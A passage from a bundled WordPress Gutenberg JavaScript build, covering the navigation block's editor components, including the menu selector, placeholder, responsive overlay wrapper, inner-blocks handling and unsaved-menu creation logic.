true,"renaming":false,"contentRole":true},"editorStyle":"wp-block-navigation-editor","style":"wp-block-navigation"}');
29919;// ./node_modules/@wordpress/icons/build-module/library/page.js
29920
29921
29922var page_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
29923 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M15.5 7.5h-7V9h7V7.5Zm-7 3.5h7v1.5h-7V11Zm7 3.5h-7V16h7v-1.5Z" }),
29924 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17 4H7a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2ZM7 5.5h10a.5.5 0 0 1 .5.5v12a.5.5 0 0 1-.5.5H7a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5Z" })
29925] });
29926
29927
29928;// ./node_modules/@wordpress/icons/build-module/icon/index.js
29929
29930var build_module_icon_icon_default = (0,external_wp_element_namespaceObject.forwardRef)(
29931 ({ icon, size = 24, ...props }, ref) => {
29932 return (0,external_wp_element_namespaceObject.cloneElement)(icon, {
29933 width: size,
29934 height: size,
29935 ...props,
29936 ref
29937 });
29938 }
29939);
29940
29941
29942;// ./node_modules/@wordpress/icons/build-module/library/close.js
29943
29944
29945var close_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z" }) });
29946
29947
29948;// ./node_modules/@wordpress/block-library/build-module/navigation/constants.js
29949const constants_DEFAULT_BLOCK = {
29950 name: "core/navigation-link",
29951 attributes: {
29952 kind: "post-type",
29953 type: "page"
29954 }
29955};
29956const PRIORITIZED_INSERTER_BLOCKS = [
29957 "core/navigation-link/page",
29958 "core/navigation-link"
29959];
29960const PRELOADED_NAVIGATION_MENUS_QUERY = {
29961 per_page: 100,
29962 status: ["publish", "draft"],
29963 order: "desc",
29964 orderby: "date"
29965};
29966const SELECT_NAVIGATION_MENUS_ARGS = [
29967 "postType",
29968 "wp_navigation",
29969 PRELOADED_NAVIGATION_MENUS_QUERY
29970];
29971
29972
29973;// ./node_modules/@wordpress/block-library/build-module/navigation/use-navigation-menu.js
29974
29975
29976
29977function useNavigationMenu(ref) {
29978 const permissions = (0,external_wp_coreData_namespaceObject.useResourcePermissions)({
29979 kind: "postType",
29980 name: "wp_navigation",
29981 id: ref
29982 });
29983 const {
29984 navigationMenu,
29985 isNavigationMenuResolved,
29986 isNavigationMenuMissing
29987 } = (0,external_wp_data_namespaceObject.useSelect)(
29988 (select) => {
29989 return selectExistingMenu(select, ref);
29990 },
29991 [ref]
29992 );
29993 const {
29994 // Can the user create navigation menus?
29995 canCreate: canCreateNavigationMenus,
29996 // Can the user update the specific navigation menu with the given post ID?
29997 canUpdate: canUpdateNavigationMenu,
29998 // Can the user delete the specific navigation menu with the given post ID?
29999 canDelete: canDeleteNavigationMenu,
30000 isResolving: isResolvingPermissions,
30001 hasResolved: hasResolvedPermissions
30002 } = permissions;
30003 const {
30004 records: navigationMenus,
30005 isResolving: isResolvingNavigationMenus,
30006 hasResolved: hasResolvedNavigationMenus
30007 } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
30008 "postType",
30009 `wp_navigation`,
30010 PRELOADED_NAVIGATION_MENUS_QUERY
30011 );
30012 const canSwitchNavigationMenu = ref ? navigationMenus?.length > 1 : navigationMenus?.length > 0;
30013 return {
30014 navigationMenu,
30015 isNavigationMenuResolved,
30016 isNavigationMenuMissing,
30017 navigationMenus,
30018 isResolvingNavigationMenus,
30019 hasResolvedNavigationMenus,
30020 canSwitchNavigationMenu,
30021 canUserCreateNavigationMenus: canCreateNavigationMenus,
30022 isResolvingCanUserCreateNavigationMenus: isResolvingPermissions,
30023 hasResolvedCanUserCreateNavigationMenus: hasResolvedPermissions,
30024 canUserUpdateNavigationMenu: canUpdateNavigationMenu,
30025 hasResolvedCanUserUpdateNavigationMenu: ref ? hasResolvedPermissions : void 0,
30026 canUserDeleteNavigationMenu: canDeleteNavigationMenu,
30027 hasResolvedCanUserDeleteNavigationMenu: ref ? hasResolvedPermissions : void 0
30028 };
30029}
30030function selectExistingMenu(select, ref) {
30031 if (!ref) {
30032 return {
30033 isNavigationMenuResolved: false,
30034 isNavigationMenuMissing: true
30035 };
30036 }
30037 const { getEntityRecord, getEditedEntityRecord, hasFinishedResolution } = select(external_wp_coreData_namespaceObject.store);
30038 const args = ["postType", "wp_navigation", ref];
30039 const navigationMenu = getEntityRecord(...args);
30040 const editedNavigationMenu = getEditedEntityRecord(...args);
30041 const hasResolvedNavigationMenu = hasFinishedResolution(
30042 "getEditedEntityRecord",
30043 args
30044 );
30045 const isNavigationMenuPublishedOrDraft = editedNavigationMenu.status === "publish" || editedNavigationMenu.status === "draft";
30046 return {
30047 isNavigationMenuResolved: hasResolvedNavigationMenu,
30048 isNavigationMenuMissing: hasResolvedNavigationMenu && (!navigationMenu || !isNavigationMenuPublishedOrDraft),
30049 // getEditedEntityRecord will return the post regardless of status.
30050 // Therefore if the found post is not published then we should ignore it.
30051 navigationMenu: isNavigationMenuPublishedOrDraft ? editedNavigationMenu : null
30052 };
30053}
30054
30055
30056;// ./node_modules/@wordpress/block-library/build-module/navigation/use-navigation-entities.js
30057
30058function useNavigationEntities(menuId) {
30059 const {
30060 records: menus,
30061 isResolving: isResolvingMenus,
30062 hasResolved: hasResolvedMenus
30063 } = (0,external_wp_coreData_namespaceObject.useEntityRecords)("root", "menu", { per_page: -1, context: "view" });
30064 const {
30065 records: pages,
30066 isResolving: isResolvingPages,
30067 hasResolved: hasResolvedPages
30068 } = (0,external_wp_coreData_namespaceObject.useEntityRecords)("postType", "page", {
30069 parent: 0,
30070 order: "asc",
30071 orderby: "id",
30072 per_page: -1,
30073 context: "view"
30074 });
30075 const { records: menuItems, hasResolved: hasResolvedMenuItems } = (0,external_wp_coreData_namespaceObject.useEntityRecords)(
30076 "root",
30077 "menuItem",
30078 {
30079 menus: menuId,
30080 per_page: -1,
30081 context: "view"
30082 },
30083 { enabled: !!menuId }
30084 );
30085 return {
30086 pages,
30087 isResolvingPages,
30088 hasResolvedPages,
30089 hasPages: !!(hasResolvedPages && pages?.length),
30090 menus,
30091 isResolvingMenus,
30092 hasResolvedMenus,
30093 hasMenus: !!(hasResolvedMenus && menus?.length),
30094 menuItems,
30095 hasResolvedMenuItems
30096 };
30097}
30098
30099
30100;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/placeholder/placeholder-preview.js
30101
30102
30103
30104const PlaceholderPreview = ({ isVisible = true }) => {
30105 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30106 "div",
30107 {
30108 "aria-hidden": !isVisible ? true : void 0,
30109 className: "wp-block-navigation-placeholder__preview",
30110 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-navigation-placeholder__actions__indicator", children: [
30111 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon_icon_default, { icon: navigation_default }),
30112 (0,external_wp_i18n_namespaceObject.__)("Navigation")
30113 ] })
30114 }
30115 );
30116};
30117var placeholder_preview_default = PlaceholderPreview;
30118
30119
30120;// ./node_modules/@wordpress/icons/build-module/library/more-vertical.js
30121
30122
30123var more_vertical_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z" }) });
30124
30125
30126;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/navigation-menu-selector.js
30127
30128
30129
30130
30131
30132
30133
30134
30135
30136function buildMenuLabel(title, id, status) {
30137 if (!title) {
30138 return (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("(no title %s)"), id);
30139 }
30140 if (status === "publish") {
30141 return (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title);
30142 }
30143 return (0,external_wp_i18n_namespaceObject.sprintf)(
30144 // translators: 1: title of the menu. 2: status of the menu (draft, pending, etc.).
30145 (0,external_wp_i18n_namespaceObject.__)("%1$s (%2$s)"),
30146 (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(title),
30147 status
30148 );
30149}
30150function NavigationMenuSelector({
30151 currentMenuId,
30152 onSelectNavigationMenu,
30153 onSelectClassicMenu,
30154 onCreateNew,
30155 actionLabel,
30156 createNavigationMenuIsSuccess,
30157 createNavigationMenuIsError
30158}) {
30159 const createActionLabel = (0,external_wp_i18n_namespaceObject.__)("Create from '%s'");
30160 const [isUpdatingMenuRef, setIsUpdatingMenuRef] = (0,external_wp_element_namespaceObject.useState)(false);
30161 actionLabel = actionLabel || createActionLabel;
30162 const { menus: classicMenus } = useNavigationEntities();
30163 const {
30164 navigationMenus,
30165 isResolvingNavigationMenus,
30166 hasResolvedNavigationMenus,
30167 canUserCreateNavigationMenus,
30168 canSwitchNavigationMenu,
30169 isNavigationMenuMissing
30170 } = useNavigationMenu(currentMenuId);
30171 const [currentTitle] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
30172 "postType",
30173 "wp_navigation",
30174 "title"
30175 );
30176 const menuChoices = (0,external_wp_element_namespaceObject.useMemo)(() => {
30177 return navigationMenus?.map(({ id, title, status }, index) => {
30178 const label = buildMenuLabel(
30179 title?.rendered,
30180 index + 1,
30181 status
30182 );
30183 return {
30184 value: id,
30185 label,
30186 ariaLabel: (0,external_wp_i18n_namespaceObject.sprintf)(actionLabel, label),
30187 disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus
30188 };
30189 }) || [];
30190 }, [
30191 navigationMenus,
30192 actionLabel,
30193 isResolvingNavigationMenus,
30194 hasResolvedNavigationMenus,
30195 isUpdatingMenuRef
30196 ]);
30197 const hasNavigationMenus = !!navigationMenus?.length;
30198 const hasClassicMenus = !!classicMenus?.length;
30199 const showNavigationMenus = !!canSwitchNavigationMenu;
30200 const showClassicMenus = !!canUserCreateNavigationMenus;
30201 const noMenuSelected = hasNavigationMenus && !currentMenuId;
30202 const noBlockMenus = !hasNavigationMenus && hasResolvedNavigationMenus;
30203 const menuUnavailable = hasResolvedNavigationMenus && currentMenuId === null;
30204 const navMenuHasBeenDeleted = currentMenuId && isNavigationMenuMissing;
30205 let selectorLabel = "";
30206 if (isResolvingNavigationMenus) {
30207 selectorLabel = (0,external_wp_i18n_namespaceObject.__)("Loading\u2026");
30208 } else if (noMenuSelected || noBlockMenus || menuUnavailable || navMenuHasBeenDeleted) {
30209 selectorLabel = (0,external_wp_i18n_namespaceObject.__)("Choose or create a Navigation Menu");
30210 } else {
30211 selectorLabel = currentTitle;
30212 }
30213 (0,external_wp_element_namespaceObject.useEffect)(() => {
30214 if (isUpdatingMenuRef && (createNavigationMenuIsSuccess || createNavigationMenuIsError)) {
30215 setIsUpdatingMenuRef(false);
30216 }
30217 }, [
30218 hasResolvedNavigationMenus,
30219 createNavigationMenuIsSuccess,
30220 canUserCreateNavigationMenus,
30221 createNavigationMenuIsError,
30222 isUpdatingMenuRef,
30223 menuUnavailable,
30224 noBlockMenus,
30225 noMenuSelected
30226 ]);
30227 const NavigationMenuSelectorDropdown = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30228 external_wp_components_namespaceObject.DropdownMenu,
30229 {
30230 label: selectorLabel,
30231 icon: more_vertical_default,
30232 toggleProps: { size: "small" },
30233 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30234 showNavigationMenus && hasNavigationMenus && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Menus"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30235 external_wp_components_namespaceObject.MenuItemsChoice,
30236 {
30237 value: currentMenuId,
30238 onSelect: (menuId) => {
30239 onSelectNavigationMenu(menuId);
30240 onClose();
30241 },
30242 choices: menuChoices
30243 }
30244 ) }),
30245 showClassicMenus && hasClassicMenus && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Import Classic Menus"), children: classicMenus?.map((menu) => {
30246 const label = (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(menu.name);
30247 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30248 external_wp_components_namespaceObject.MenuItem,
30249 {
30250 onClick: async () => {
30251 setIsUpdatingMenuRef(true);
30252 await onSelectClassicMenu(menu);
30253 setIsUpdatingMenuRef(false);
30254 onClose();
30255 },
30256 "aria-label": (0,external_wp_i18n_namespaceObject.sprintf)(
30257 createActionLabel,
30258 label
30259 ),
30260 disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus,
30261 children: label
30262 },
30263 menu.id
30264 );
30265 }) }),
30266 canUserCreateNavigationMenus && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Tools"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30267 external_wp_components_namespaceObject.MenuItem,
30268 {
30269 onClick: async () => {
30270 setIsUpdatingMenuRef(true);
30271 await onCreateNew();
30272 setIsUpdatingMenuRef(false);
30273 onClose();
30274 },
30275 disabled: isUpdatingMenuRef || isResolvingNavigationMenus || !hasResolvedNavigationMenus,
30276 children: (0,external_wp_i18n_namespaceObject.__)("Create new Menu")
30277 }
30278 ) })
30279 ] })
30280 }
30281 );
30282 return NavigationMenuSelectorDropdown;
30283}
30284var navigation_menu_selector_default = NavigationMenuSelector;
30285
30286
30287;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/placeholder/index.js
30288
30289
30290
30291
30292
30293
30294
30295
30296
30297function NavigationPlaceholder({
30298 isSelected,
30299 currentMenuId,
30300 clientId,
30301 canUserCreateNavigationMenus = false,
30302 isResolvingCanUserCreateNavigationMenus,
30303 onSelectNavigationMenu,
30304 onSelectClassicMenu,
30305 onCreateEmpty
30306}) {
30307 const { isResolvingMenus, hasResolvedMenus } = useNavigationEntities();
30308 (0,external_wp_element_namespaceObject.useEffect)(() => {
30309 if (!isSelected) {
30310 return;
30311 }
30312 if (isResolvingMenus) {
30313 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Loading navigation block setup options\u2026"));
30314 }
30315 if (hasResolvedMenus) {
30316 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("Navigation block setup options ready."));
30317 }
30318 }, [hasResolvedMenus, isResolvingMenus, isSelected]);
30319 const isResolvingActions = isResolvingMenus && isResolvingCanUserCreateNavigationMenus;
30320 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Placeholder, { className: "wp-block-navigation-placeholder", children: [
30321 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(placeholder_preview_default, { isVisible: !isSelected }),
30322 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30323 "div",
30324 {
30325 "aria-hidden": !isSelected ? true : void 0,
30326 className: "wp-block-navigation-placeholder__controls",
30327 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-navigation-placeholder__actions", children: [
30328 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-navigation-placeholder__actions__indicator", children: [
30329 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon_icon_default, { icon: navigation_default }),
30330 " ",
30331 (0,external_wp_i18n_namespaceObject.__)("Navigation")
30332 ] }),
30333 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("hr", {}),
30334 isResolvingActions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
30335 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30336 navigation_menu_selector_default,
30337 {
30338 currentMenuId,
30339 clientId,
30340 onSelectNavigationMenu,
30341 onSelectClassicMenu
30342 }
30343 ),
30344 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("hr", {}),
30345 canUserCreateNavigationMenus && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30346 external_wp_components_namespaceObject.Button,
30347 {
30348 __next40pxDefaultSize: true,
30349 variant: "tertiary",
30350 onClick: onCreateEmpty,
30351 children: (0,external_wp_i18n_namespaceObject.__)("Start empty")
30352 }
30353 )
30354 ] })
30355 }
30356 )
30357 ] }) });
30358}
30359
30360
30361;// ./node_modules/@wordpress/icons/build-module/library/menu.js
30362
30363
30364var menu_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M5 5v1.5h14V5H5zm0 7.8h14v-1.5H5v1.5zM5 19h14v-1.5H5V19z" }) });
30365
30366
30367;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/overlay-menu-icon.js
30368
30369
30370
30371function OverlayMenuIcon({ icon }) {
30372 if (icon === "menu") {
30373 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon_icon_default, { icon: menu_default });
30374 }
30375 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30376 external_wp_primitives_namespaceObject.SVG,
30377 {
30378 xmlns: "http://www.w3.org/2000/svg",
30379 viewBox: "0 0 24 24",
30380 width: "24",
30381 height: "24",
30382 "aria-hidden": "true",
30383 focusable: "false",
30384 children: [
30385 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Rect, { x: "4", y: "7.5", width: "16", height: "1.5" }),
30386 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Rect, { x: "4", y: "15", width: "16", height: "1.5" })
30387 ]
30388 }
30389 );
30390}
30391
30392
30393;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/responsive-wrapper.js
30394
30395
30396
30397
30398
30399
30400
30401function ResponsiveWrapper({
30402 children,
30403 id,
30404 isOpen,
30405 isResponsive,
30406 onToggle,
30407 isHiddenByDefault,
30408 overlayBackgroundColor,
30409 overlayTextColor,
30410 hasIcon,
30411 icon
30412}) {
30413 if (!isResponsive) {
30414 return children;
30415 }
30416 const responsiveContainerClasses = dist_clsx(
30417 "wp-block-navigation__responsive-container",
30418 {
30419 "has-text-color": !!overlayTextColor.color || !!overlayTextColor?.class,
30420 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)("color", overlayTextColor?.slug)]: !!overlayTextColor?.slug,
30421 "has-background": !!overlayBackgroundColor.color || overlayBackgroundColor?.class,
30422 [(0,external_wp_blockEditor_namespaceObject.getColorClassName)(
30423 "background-color",
30424 overlayBackgroundColor?.slug
30425 )]: !!overlayBackgroundColor?.slug,
30426 "is-menu-open": isOpen,
30427 "hidden-by-default": isHiddenByDefault
30428 }
30429 );
30430 const styles = {
30431 color: !overlayTextColor?.slug && overlayTextColor?.color,
30432 backgroundColor: !overlayBackgroundColor?.slug && overlayBackgroundColor?.color && overlayBackgroundColor.color
30433 };
30434 const openButtonClasses = dist_clsx(
30435 "wp-block-navigation__responsive-container-open",
30436 { "always-shown": isHiddenByDefault }
30437 );
30438 const modalId = `${id}-modal`;
30439 const dialogProps = {
30440 className: "wp-block-navigation__responsive-dialog",
30441 ...isOpen && {
30442 role: "dialog",
30443 "aria-modal": true,
30444 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Menu")
30445 }
30446 };
30447 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
30448 !isOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30449 external_wp_components_namespaceObject.Button,
30450 {
30451 __next40pxDefaultSize: true,
30452 "aria-haspopup": "true",
30453 "aria-label": hasIcon && (0,external_wp_i18n_namespaceObject.__)("Open menu"),
30454 className: openButtonClasses,
30455 onClick: () => onToggle(true),
30456 children: [
30457 hasIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(OverlayMenuIcon, { icon }),
30458 !hasIcon && (0,external_wp_i18n_namespaceObject.__)("Menu")
30459 ]
30460 }
30461 ),
30462 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30463 "div",
30464 {
30465 className: responsiveContainerClasses,
30466 style: styles,
30467 id: modalId,
30468 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30469 "div",
30470 {
30471 className: "wp-block-navigation__responsive-close",
30472 tabIndex: "-1",
30473 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...dialogProps, children: [
30474 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
30475 external_wp_components_namespaceObject.Button,
30476 {
30477 __next40pxDefaultSize: true,
30478 className: "wp-block-navigation__responsive-container-close",
30479 "aria-label": hasIcon && (0,external_wp_i18n_namespaceObject.__)("Close menu"),
30480 onClick: () => onToggle(false),
30481 children: [
30482 hasIcon && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(build_module_icon_icon_default, { icon: close_default }),
30483 !hasIcon && (0,external_wp_i18n_namespaceObject.__)("Close")
30484 ]
30485 }
30486 ),
30487 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30488 "div",
30489 {
30490 className: "wp-block-navigation__responsive-container-content",
30491 id: `${modalId}-content`,
30492 children
30493 }
30494 )
30495 ] })
30496 }
30497 )
30498 }
30499 )
30500 ] });
30501}
30502
30503
30504;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/inner-blocks.js
30505
30506
30507
30508
30509
30510
30511
30512function NavigationInnerBlocks({
30513 clientId,
30514 hasCustomPlaceholder,
30515 orientation,
30516 templateLock
30517}) {
30518 const {
30519 isImmediateParentOfSelectedBlock,
30520 selectedBlockHasChildren,
30521 isSelected,
30522 hasSelectedDescendant
30523 } = (0,external_wp_data_namespaceObject.useSelect)(
30524 (select) => {
30525 const {
30526 getBlockCount,
30527 hasSelectedInnerBlock,
30528 getSelectedBlockClientId
30529 } = select(external_wp_blockEditor_namespaceObject.store);
30530 const selectedBlockId = getSelectedBlockClientId();
30531 return {
30532 isImmediateParentOfSelectedBlock: hasSelectedInnerBlock(
30533 clientId,
30534 false
30535 ),
30536 selectedBlockHasChildren: !!getBlockCount(selectedBlockId),
30537 hasSelectedDescendant: hasSelectedInnerBlock(clientId, true),
30538 // This prop is already available but computing it here ensures it's
30539 // fresh compared to isImmediateParentOfSelectedBlock.
30540 isSelected: selectedBlockId === clientId
30541 };
30542 },
30543 [clientId]
30544 );
30545 const [blocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(
30546 "postType",
30547 "wp_navigation"
30548 );
30549 const parentOrChildHasSelection = isSelected || isImmediateParentOfSelectedBlock && !selectedBlockHasChildren;
30550 const placeholder = (0,external_wp_element_namespaceObject.useMemo)(() => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(placeholder_preview_default, {}), []);
30551 const hasMenuItems = !!blocks?.length;
30552 const showPlaceholder = !hasCustomPlaceholder && !hasMenuItems && !isSelected;
30553 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
30554 {
30555 className: "wp-block-navigation__container"
30556 },
30557 {
30558 value: blocks,
30559 onInput,
30560 onChange,
30561 prioritizedInserterBlocks: PRIORITIZED_INSERTER_BLOCKS,
30562 defaultBlock: constants_DEFAULT_BLOCK,
30563 directInsert: true,
30564 orientation,
30565 templateLock,
30566 // As an exception to other blocks which feature nesting, show
30567 // the block appender even when a child block is selected.
30568 // This should be a temporary fix, to be replaced by improvements to
30569 // the sibling inserter.
30570 // See https://github.com/WordPress/gutenberg/issues/37572.
30571 renderAppender: isSelected || isImmediateParentOfSelectedBlock && !selectedBlockHasChildren || hasSelectedDescendant || // Show the appender while dragging to allow inserting element between item and the appender.
30572 parentOrChildHasSelection ? external_wp_blockEditor_namespaceObject.InnerBlocks.ButtonBlockAppender : false,
30573 placeholder: showPlaceholder ? placeholder : void 0,
30574 __experimentalCaptureToolbars: true,
30575 __unstableDisableLayoutClassNames: true
30576 }
30577 );
30578 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...innerBlocksProps });
30579}
30580
30581
30582;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/navigation-menu-name-control.js
30583
30584
30585
30586
30587function NavigationMenuNameControl() {
30588 const [title, updateTitle] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
30589 "postType",
30590 "wp_navigation",
30591 "title"
30592 );
30593 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
30594 external_wp_components_namespaceObject.TextControl,
30595 {
30596 __next40pxDefaultSize: true,
30597 __nextHasNoMarginBottom: true,
30598 label: (0,external_wp_i18n_namespaceObject.__)("Menu name"),
30599 value: title,
30600 onChange: updateTitle
30601 }
30602 );
30603}
30604
30605
30606;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/are-blocks-dirty.js
30607function areBlocksDirty(originalBlocks, blocks) {
30608 return !isDeepEqual(originalBlocks, blocks, (prop, x) => {
30609 if (x?.name === "core/page-list" && prop === "innerBlocks") {
30610 return true;
30611 }
30612 });
30613}
30614const isDeepEqual = (x, y, shouldSkip) => {
30615 if (x === y) {
30616 return true;
30617 } else if (typeof x === "object" && x !== null && x !== void 0 && typeof y === "object" && y !== null && y !== void 0) {
30618 if (Object.keys(x).length !== Object.keys(y).length) {
30619 return false;
30620 }
30621 for (const prop in x) {
30622 if (y.hasOwnProperty(prop)) {
30623 if (shouldSkip && shouldSkip(prop, x)) {
30624 return true;
30625 }
30626 if (!isDeepEqual(x[prop], y[prop], shouldSkip)) {
30627 return false;
30628 }
30629 } else {
30630 return false;
30631 }
30632 }
30633 return true;
30634 }
30635 return false;
30636};
30637
30638
30639;// ./node_modules/@wordpress/block-library/build-module/navigation/edit/unsaved-inner-blocks.js
30640
30641
30642
30643
30644
30645
30646
30647
30648const EMPTY_OBJECT = {};
30649function UnsavedInnerBlocks({
30650 blocks,
30651 createNavigationMenu,
30652 hasSelection
30653}) {
30654 const originalBlocksRef = (0,external_wp_element_namespaceObject.useRef)();
30655 (0,external_wp_element_namespaceObject.useEffect)(() => {
30656 if (!originalBlocksRef?.current) {
30657 originalBlocksRef.current = blocks;
30658 }
30659 }, [blocks]);
30660 const innerBlocksAreDirty = areBlocksDirty(
30661 originalBlocksRef?.current,
30662 blocks
30663 );
30664 const isDisabled = (0,external_wp_element_namespaceObject.useContext)(external_wp_components_namespaceObject.Disabled.Context);
30665 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
30666 {
30667 className: "wp-block-navigation__container"
30668 },
30669 {
30670 renderAppender: hasSelection ? void 0 : false,
30671 defaultBlock: constants_DEFAULT_BLOCK,
30672 directInsert: true
30673 }
30674 );
30675 const { isSaving, hasResolvedAllNavigationMenus } = (0,external_wp_data_namespaceObject.useSelect)(
30676 (select) => {
30677 if (isDisabled) {
30678 return EMPTY_OBJECT;
30679 }
30680 const { hasFinishedResolution, isSavingEntityRecord } = select(external_wp_coreData_namespaceObject.store);
30681 return {
30682 isSaving: isSavingEntityRecord("postType", "wp_navigation"),
30683 hasResolvedAllNavigationMenus: hasFinishedResolution(
30684 "getEntityRecords",
30685 SELECT_NAVIGATION_MENUS_ARGS
30686 )
30687 };
30688 },
30689 [isDisabled]
30690 );
30691 (0,external_wp_element_namespaceObject.useEffect)(() => {
30692 if (isDisabled || isSaving || !hasResolvedAllNavigationMenus || !hasSelection || !innerBlocksAreDirty) {
30693 return;
30694 }
30695 createNavigationMenu(null, blocks);
30696 }, [
30697 blocks,
30698 createNavigationMenu,
30699 isDisabled,
30700 isSaving,
30701 hasResolvedAllNavigationMenus,
